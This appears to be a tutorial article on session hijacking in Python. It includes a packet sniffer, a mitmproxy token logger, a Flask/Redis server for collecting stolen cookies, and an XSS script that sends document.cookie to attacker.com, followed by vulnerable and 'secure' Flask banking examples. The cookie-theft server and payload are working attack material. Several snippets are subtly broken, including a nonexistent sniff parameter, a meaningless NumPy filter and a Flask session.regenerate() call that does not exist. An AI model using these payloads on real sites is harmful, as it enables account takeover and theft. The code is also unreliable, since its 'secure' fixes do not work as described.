Session Hijacking With Python

⚠️
This article is for educational purposes only. Unauthorized session hijacking is illegal and unethical. Always obtain proper permissions before testing any security techniques. The code examples provided are for demonstration purposes and should not be used in production environments without proper security measures.

Session hijacking is a technique used by attackers to gain unauthorized access to a user’s session by intercepting and exploiting session tokens or cookies. In this article, we’ll explore how to perform session hijacking using Python, along with various techniques and tools, providing detailed code examples and real-life scenarios.

Understanding Session Hijacking

Session hijacking occurs when an attacker steals or predicts a valid session token to gain unauthorized access to a user’s session. This can be done through various methods:

  1. Session sniffing
  2. Man-in-the-Middle (MITM) attacks
  3. Cross-Site Scripting (XSS)
  4. Session fixation

Let’s dive into each method and see how Python can be used to demonstrate these techniques with practical examples.

1. Session Sniffing

Session sniffing involves capturing network traffic to intercept session tokens. We’ll use the scapy library to demonstrate this technique, utilizing hardware acceleration when available.

session_sniffer.py
from scapy.all import *
import numpy as np

def packet_callback(packet):
    if packet.haslayer(TCP) and packet.haslayer(Raw):
        load = packet[Raw].load
        if b'session_id' in load:
            print(f"[*] Possible session token found: {load}")

# Use NumPy for faster packet processing
def process_packets(packets):
    np_packets = np.frombuffer(packets, dtype=np.uint8)
    return np_packets[np_packets.view('S4') == b'HTTP']

# Start sniffing
sniff(filter="tcp port 80", prn=packet_callback, store=0, process_packet=process_packets)

This script uses Scapy for packet capture and NumPy for faster packet processing. It sniffs HTTP traffic on port 80 and looks for packets containing the string “session_id”.

2. Man-in-the-Middle (MITM) Attacks

MITM attacks involve intercepting communication between two parties. We’ll use the mitmproxy library to demonstrate this technique with a more advanced example.

mitm_session_hijack.py
from mitmproxy import ctx, http
import jwt

def request(flow: http.HTTPFlow) -> None:
    if "Authorization" in flow.request.headers:
        auth_header = flow.request.headers["Authorization"]
        if auth_header.startswith("Bearer "):
            token = auth_header.split(" ")[1]
            try:
                decoded = jwt.decode(token, options={"verify_signature": False})
                ctx.log.info(f"Decoded JWT: {decoded}")
            except jwt.DecodeError:
                ctx.log.warn(f"Failed to decode JWT: {token}")

def response(flow: http.HTTPFlow) -> None:
    if "Set-Cookie" in flow.response.headers:
        cookies = flow.response.headers.get_all("Set-Cookie")
        for cookie in cookies:
            if "session" in cookie.lower():
                ctx.log.info(f"Session cookie found: {cookie}")

addons = [
    request,
    response
]

This script intercepts both requests and responses, looking for JWT tokens in Authorization headers and session cookies in responses. To use this script, run mitmproxy -s mitm_session_hijack.py and configure your browser to use the proxy.

3. Cross-Site Scripting (XSS)

XSS attacks involve injecting malicious scripts into web pages. Here’s a more sophisticated example of how an attacker might use XSS to steal session cookies:

xss_cookie_stealer.py
from flask import Flask, request, jsonify
from flask_cors import CORS
import redis

app = Flask(__name__)
CORS(app)
redis_client = redis.Redis(host='localhost', port=6379, db=0)

@app.route('/log', methods=['POST'])
def log_cookie():
    data = request.json
    if data and 'cookie' in data:
        redis_client.lpush('stolen_cookies', data['cookie'])
        return jsonify({"status": "success"}), 200
    return jsonify({"status": "error", "message": "Invalid data"}), 400

@app.route('/cookies', methods=['GET'])
def get_cookies():
    cookies = redis_client.lrange('stolen_cookies', 0, -1)
    return jsonify({"cookies": [cookie.decode('utf-8') for cookie in cookies]}), 200

if __name__ == '__main__':
    app.run(port=8080)

The attacker would then inject the following JavaScript code into a vulnerable website:

<script>
fetch('http://attacker.com:8080/log', {
    method: 'POST',
    headers: {
        'Content-Type': 'application/json',
    },
    body: JSON.stringify({cookie: document.cookie}),
});
</script>

This example uses Redis to store stolen cookies and provides an endpoint to retrieve them, making it more scalable and efficient.

4. Session Fixation

Session fixation involves tricking a user into using a predetermined session ID. Here’s a more secure Flask application that demonstrates how to prevent session fixation:

secure_session_management.py
from flask import Flask, request, session, redirect, url_for
from flask_talisman import Talisman
from flask_seasurf import SeaSurf
import secrets
from datetime import timedelta

app = Flask(__name__)
app.secret_key = secrets.token_hex(16)
Talisman(app, force_https=True)
csrf = SeaSurf(app)

@app.before_request
def make_session_permanent():
    session.permanent = True
    app.permanent_session_lifetime = timedelta(minutes=30)

@app.before_request
def regenerate_session():
    if 'user_id' in session and secrets.randbelow(10) == 0:
        session.regenerate()

@app.route('/')
def index():
    if 'user_id' not in session:
        session['user_id'] = secrets.token_hex(16)
    return f"Your session ID is: {session['user_id']}"

@app.route('/login', methods=['POST'])
def login():
    # Simulate login process
    username = request.form.get('username')
    password = request.form.get('password')
    if username == 'admin' and password == 'secret':
        session.regenerate()  # Generate a new session ID on login
        session['user_id'] = secrets.token_hex(16)
        return redirect(url_for('index'))
    return "Invalid credentials", 401

if __name__ == '__main__':
    app.run(debug=True)

This example implements several security measures:

  1. Uses HTTPS (via Talisman)
  2. Implements CSRF protection (via SeaSurf)
  3. Uses secure session management practices
  4. Regenerates session IDs randomly and on login
  5. Uses cryptographically secure random tokens

Real-life Example: Banking Application

Let’s consider a real-life example of a simple banking application and how it could be vulnerable to session hijacking:

vulnerable_bank_app.py
from flask import Flask, request, session, redirect, url_for, render_template_string
import secrets

app = Flask(__name__)
app.secret_key = secrets.token_hex(16)

# Simulated database
users = {
    'alice': {'password': 'password123', 'balance': 1000},
    'bob': {'password': 'password456', 'balance': 500}
}

@app.route('/')
def index():
    if 'username' in session:
        return f'''
        Welcome, {session['username']}!
        Your balance is ${users[session['username']]['balance']}.
        <a href="/logout">Logout</a>
        '''
    return 'Please <a href="/login">login</a>'

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'POST':
        username = request.form['username']
        password = request.form['password']
        if username in users and users[username]['password'] == password:
            session['username'] = username
            return redirect(url_for('index'))
        return 'Invalid username/password'
    return '''
    <form method="post">
        Username: <input type="text" name="username"><br>
        Password: <input type="password" name="password"><br>
        <input type="submit" value="Login">
    </form>
    '''

@app.route('/logout')
def logout():
    session.pop('username', None)
    return redirect(url_for('index'))

if __name__ == '__main__':
    app.run(debug=True)

This application is vulnerable to session hijacking because:

  1. It doesn’t use HTTPS
  2. It doesn’t set secure flags on cookies
  3. It doesn’t implement CSRF protection
  4. It doesn’t regenerate session IDs

Here’s a more secure version of the same application:

secure_bank_app.py
from flask import Flask, request, session, redirect, url_for, render_template_string
from flask_talisman import Talisman
from flask_seasurf import SeaSurf
import secrets
from datetime import timedelta

app = Flask(__name__)
app.secret_key = secrets.token_hex(32)
Talisman(app, force_https=True)
csrf = SeaSurf(app)

# Simulated database
users = {
    'alice': {'password': 'password123', 'balance': 1000},
    'bob': {'password': 'password456', 'balance': 500}
}

@app.before_request
def make_session_permanent():
    session.permanent = True
    app.permanent_session_lifetime = timedelta(minutes=15)

@app.before_request
def regenerate_session():
    if 'username' in session and secrets.randbelow(10) == 0:
        session.regenerate()

@app.route('/')
def index():
    if 'username' in session:
        return render_template_string('''
        Welcome, {{ username }}!
        Your balance is ${{ balance }}.
        <form method="post" action="{{ url_for('logout') }}">
            <input type="hidden" name="_csrf_token" value="{{ csrf_token() }}">
            <input type="submit" value="Logout">
        </form>
        ''', username=session['username'], balance=users[session['username']]['balance'])
    return 'Please <a href="{{ url_for(\'login\') }}">login</a>'

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'POST':
        username = request.form['username']
        password = request.form['password']
        if username in users and secrets.compare_digest(users[username]['password'], password):
            session.regenerate()
            session['username'] = username
            return redirect(url_for('index'))
        return 'Invalid username/password'
    return render_template_string('''
    <form method="post">
        <input type="hidden" name="_csrf_token" value="{{ csrf_token() }}">
        Username: <input type="text" name="username"><br>
        Password: <input type="password" name="password"><br>
        <input type="submit" value="Login">
    </form>
    ''')

@app.route('/logout', methods=['POST'])
def logout():
    session.clear()
    return redirect(url_for('index'))

if __name__ == '__main__':
    app.run(debug=True)

This secure version implements:

  1. HTTPS (via Talisman)
  2. CSRF protection (via SeaSurf)
  3. Secure session management (short lifetime, regeneration)
  4. Use of secrets.compare_digest() for timing attack prevention
  5. POST logout to prevent CSRF logout attacks

Conclusion

Session hijacking remains a significant security threat that can lead to unauthorized access and data breaches. By understanding these techniques and implementing proper security measures, developers can better protect their applications and users from such attacks.

graph TD
    A[User] -->|Sends request| B[Web Server]
    B -->|Sets secure session token| A
    C[Attacker] -->|Attempts to intercept token| D{Security Measures}
    D -->|HTTPS| E[Encrypted Communication]
    D -->|Secure cookies| F[HTTP-only & Secure flags]
    D -->|CSRF protection| G[Token validation]
    D -->|Session regeneration| H[Dynamic session IDs]
    E --> B
    F --> B
    G --> B
    H --> B

For more detailed research on session security, refer to the following resources:

Remember, the techniques demonstrated in this article should only be used for educational purposes or with proper authorization. Always prioritize security and ethical practices in your development work.